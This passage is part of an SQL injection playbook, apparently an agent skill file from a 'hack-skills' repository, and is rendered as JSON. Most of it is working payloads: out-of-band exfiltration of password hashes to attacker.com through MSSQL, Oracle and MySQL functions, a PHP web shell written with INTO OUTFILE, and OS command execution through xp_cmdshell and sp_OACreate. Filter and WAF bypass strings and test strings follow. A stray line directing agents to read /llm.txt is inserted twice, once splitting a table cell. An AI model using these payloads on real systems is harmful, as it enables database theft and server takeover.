1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--\n\n-- PostgreSQL\n'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL","type":"text"}]},{"type":"paragraph","content":[{"text":"Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"'; INSERT INTO OPENROWSET(\n 'SQLOLEDB',\n 'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',\n 'SELECT * FROM foo'\n) VALUES (@@version)--\n\n-- Exfiltrate table data:\n'; INSERT INTO OPENROWSET(\n 'SQLOLEDB',\n 'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',\n 'SELECT * FROM foo'\n) SELECT TOP 1 username+':'+password FROM users--","type":"text"}]},{"type":"paragraph","content":[{"text":"Use ","type":"text"},{"text":"port 80 or 443","type":"text","marks":[{"type":"strong"}]},{"text":" to bypass firewall egress restrictions.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Oracle — UTL_HTTP (HTTP GET with data in URL path)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--","type":"text"}]},{"type":"paragraph","content":[{"text":"Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--","type":"text"}]},{"type":"paragraph","content":[{"text":"Attacker sees: ","type":"text"},{"text":"HASH_VALUE.attacker.com","type":"text","marks":[{"type":"code_inline"}]},{"text":" DNS query → read password hash.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Oracle — UTL_SMTP / UTL_TCP","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- Email large data dumps:\nUTL_SMTP.SENDMAIL(...) -- send query results via email\n\n-- Raw TCP socket:\nUTL_TCP.OPEN_CONNECTION('attacker.com', 80)","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MySQL — DNS via LOAD_FILE (Windows + UNC path)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT LOAD_FILE('\\\\\\\\attacker.com\\\\share')\n-- Triggers DNS lookup before connection attempt\n-- Works on Windows hosts with outbound SMB","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MySQL — INTO OUTFILE (in-band filesystem write)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT \"\u003c?php system($_GET['c']); ?>\" INTO OUTFILE '/var/www/html/shell.php'\n-- Requirements: FILE privilege, writable web root, secure_file_priv=''","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"6. ESCALATION — OS COMMAND EXECUTION","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MSSQL — xp_cmdshell (if enabled, or if sysadmin)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"'; EXEC xp_cmdshell('whoami')--\n\n-- Enable if disabled (requires sysadmin):\n'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--\n'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MySQL — UDF (User Defined Functions)","type":"text"}]},{"type":"paragraph","content":[{"text":"Write malicious shared library to filesystem, then ","type":"text"},{"text":"CREATE FUNCTION ... SONAME","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Oracle — Java Stored Procedures","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- Create Java class:\nEXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','\u003c\u003cALL FILES>>','execute');\n-- Then exec OS commands via Java Runtime","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"7. SECOND-ORDER INJECTION","type":"text"}]},{"type":"paragraph","content":[{"text":"Concept","type":"text","marks":[{"type":"strong"}]},{"text":": User input is stored safely (parameterized), but later ","type":"text"},{"text":"retrieved as trusted data","type":"text","marks":[{"type":"strong"}]},{"text":" and concatenated into a new query without re-sanitization.","type":"text"}]},{"type":"paragraph","content":[{"text":"Example attack flow","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Register username: ","type":"text"},{"text":"admin'--","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Application safely inserts this into users table","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Password change function fetches username from session (trusted!) and builds:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"UPDATE users SET password='newpass' WHERE username='admin'--'","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Comment strips the condition → updates ","type":"text"},{"text":"admin's","type":"text","marks":[{"type":"strong"}]},{"text":" password","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Key insight","type":"text","marks":[{"type":"strong"}]},{"text":": Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"8. PARAMETERIZED QUERY BYPASS SCENARIOS","type":"text"}]},{"type":"paragraph","content":[{"text":"Parameterized queries do NOT prevent SQLi when:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Table/column names are user-controlled","type":"text","marks":[{"type":"strong"}]},{"text":" — params can't parameterize identifiers:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- UNSAFE even with params:\n\"SELECT * FROM \" + tableName + \" WHERE id = ?\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Mitigation: whitelist-validate table/column names.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Partial parameterization","type":"text","marks":[{"type":"strong"}]},{"text":" — some fields concatenated, others parameterized:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"\"SELECT * FROM users WHERE type='\" + userType + \"' AND id=?\"\n-- userType not parameterized → injection","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"IN clause","type":"text","marks":[{"type":"strong"}]},{"text":" with dynamic count (common mistake in ORMs):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Second-order","type":"text","marks":[{"type":"strong"}]},{"text":" — data retrieved from DB assumed clean, re-used in query without params.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"9. FILTER EVASION TECHNIQUES","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Comment Injection (break keywords)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SEL/**/ECT\nUN/**/ION\n1 UN/**/ION ALL SEL/**/ECT NULL--","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Case Variation","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"UnIoN SeLeCt","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"URL Encoding","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"%55NION -- U\n%53ELECT -- S","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Whitespace Alternatives","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT/**/username/**/FROM/**/users\nSELECT%09username%09FROM%09users -- tab\nSELECT%0ausername%0aFROM%0ausers -- newline","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"String Construction (bypass literal-string detection)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- MySQL concatenation without quotes:\nCHAR(117,115,101,114,110,97,109,101) -- 'username'\n\n-- Oracle:\nCHR(117)||CHR(115)||CHR(101)||CHR(114)\n\n-- MSSQL:\nCHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"10. DATABASE METADATA EXTRACTION","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MySQL","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT schema_name FROM information_schema.schemata\nSELECT table_name FROM information_schema.tables WHERE table_schema=database()\nSELECT column_name FROM information_schema.columns WHERE table_name='users'","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MSSQL","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT name FROM master..sysdatabases\nSELECT name FROM sysobjects WHERE xtype='U' -- user tables\nSELECT name FROM syscolumns WHERE id=OBJECT_ID('users')","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Oracle","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT owner,table_name FROM all_tables\nSELECT column_name FROM all_tab_columns WHERE table_name='USERS'\nSELECT username,password FROM dba_users -- requires DBA","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"PostgreSQL","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT datname FROM pg_database\nSELECT tablename FROM pg_tables WHERE schemaname='public'\nSELECT column_name FROM information_schema.columns WHERE table_name='users'","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"11. STORED PROCEDURE ABUSE","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"MSSQL — sp_OAMethod (COM automation)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"DECLARE @o INT\nEXEC sp_OACreate 'wscript.shell', @o OUT\nEXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\\out.txt'","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"12. QUICK REFERENCE — INJECTION TEST STRINGS","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"' -- break string context\n'' -- escaped quote (test handling)\n' OR 1=1-- -- auth bypass attempt \n' OR 'a'='a -- alternate auth bypass\n'; SELECT 1-- -- statement termination\n' UNION SELECT NULL-- -- UNION test\n' AND 1=1-- -- boolean true\n' AND 1=2-- -- boolean false (different response → injectable)\n1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay\n1 AND SLEEP(3)-- -- MySQL time delay\n1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"13. WAF BYPASS MATRIX","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Technique","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Blocked","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Bypass","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Space filtered","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SELECT * FROM","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SELECT/**/*//**/FROM","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"SELECT%0a*%0aFROM","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Comma filtered","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"UNION SELECT 1,2,3","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Quote filtered","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"'admin'","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x61646D696E","type":"text","marks":[{"type":"code_inline"}]},{"text":" (hex), ","type":"text"},{"text":"CHAR(97,100,109,105,110)","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"OR/AND filtered","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"OR 1=1","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\u003ccode>||1=1\u003c/code>, ","type":"text"},{"text":"&&1=1","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"DIV 0","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"= filtered","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"id=1","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"id LIKE 1","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"id REGEXP '^1

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"id IN (1)","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"id BETWEEN 1 AND 1","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SELECT filtered","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph"}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Use ","type":"text"},{"text":"handler","type":"text","marks":[{"type":"code_inline"}]},{"text":" (MySQL), ","type":"text"},{"text":"PREPARE","type":"text","marks":[{"type":"code_inline"}]},{"text":"+hex, or stacked queries","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"information_schema filtered","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph"}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"mysql.innodb_table_stats","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"sys.schema_table_statistics","type":"text","marks":[{"type":"code_inline"}]}]}]}]}]},{"type":"paragraph","content":[{"text":"Additional WAF bypass patterns:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Polyglot: ","type":"text"},{"text":"SLEEP(1)/*' or SLEEP(1) or '\" or SLEEP(1) or \"*/","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Routed injection: ","type":"text"},{"text":"1' UNION SELECT 0x(inner_payload_hex)-- -","type":"text","marks":[{"type":"code_inline"}]},{"text":" where inner payload is another full query hex-encoded","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Second Order: inject into storage, trigger when data is used in another query later","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PDO emulated prepare: when ","type":"text"},{"text":"PDO::ATTR_EMULATE_PREPARES=true","type":"text","marks":[{"type":"code_inline"}]},{"text":", stacked queries work even with parameterized-looking code","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"14. WAF BYPASS MATRIX","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"No-Space Bypass","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SELECT/**/username/**/FROM/**/users\nSELECT(username)FROM(users)","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"No-Comma Bypass","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- UNION with JOIN instead of comma:\nUNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c\n-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)\n-- LIMIT alternative: LIMIT 1 OFFSET 0","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Polyglot Injection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"SLEEP(1)/*' or SLEEP(1) or '\" or SLEEP(1) or \"*/","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Routed Injection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"sql"},"content":[{"text":"-- First query returns string used as input to second query:\n' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--\n-- The returned value becomes part of another SQL context","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Second-Order Injection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"-- Step 1: Register username: admin'--\n-- Step 2: Trigger password change (uses stored username in SQL)\n-- UPDATE users SET password='new' WHERE username='admin'--'","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"PDO / Prepared Statement Edge Cases","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// Unsafe even with PDO when query structure is dynamic:\n$pdo->query(\"SELECT * FROM \" . $_GET['table']);\n// Or when using emulated prepares with multi-query:\n$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Entry Point Detection (Unicode tricks)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"U+02BA ʺ (modifier letter double prime) → \"\nU+02B9 ʹ (modifier letter prime) → '\n%%2727 → %27 → '","type":"text"}]}]},"metadata":{"date":"2026-11-02","name":"sqli-sql-injection","author":"@skillopedia","source":{"stars":2603,"repo_name":"hack-skills","origin_url":"https://github.com/yaklang/hack-skills/blob/HEAD/skills/sqli-sql-injection/SKILL.md","repo_owner":"yaklang","body_sha256":"35e31bc52adebb1e9b42bdff0ed002703d2c6bfe30a560d833bea2191c2b570d","cluster_key":"53d67ed05db36feb27868f85b4d77503d56ce052b5a6ea295012c817de4de366","clean_bundle":{"format":"clean-skill-bundle-v1","source":"yaklang/hack-skills/skills/sqli-sql-injection/SKILL.md","text_bytes":32863,"source_commit":"6fbf0bc8d5c71830d62543a308d8744606c43d7c","skills_sh_rank":5004,"attachment_count":2,"text_attachments":2,"attachment_storage":"skill_attachments","binary_attachments":0},"cluster_size":1,"skill_md_path":"skills/sqli-sql-injection/SKILL.md","import_metadata":{"date":"2026-11-02","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"security","import_tag":"skills-sh-top20k-2026-11","description":"SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths."}},"renderedAt":1793666026715}

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.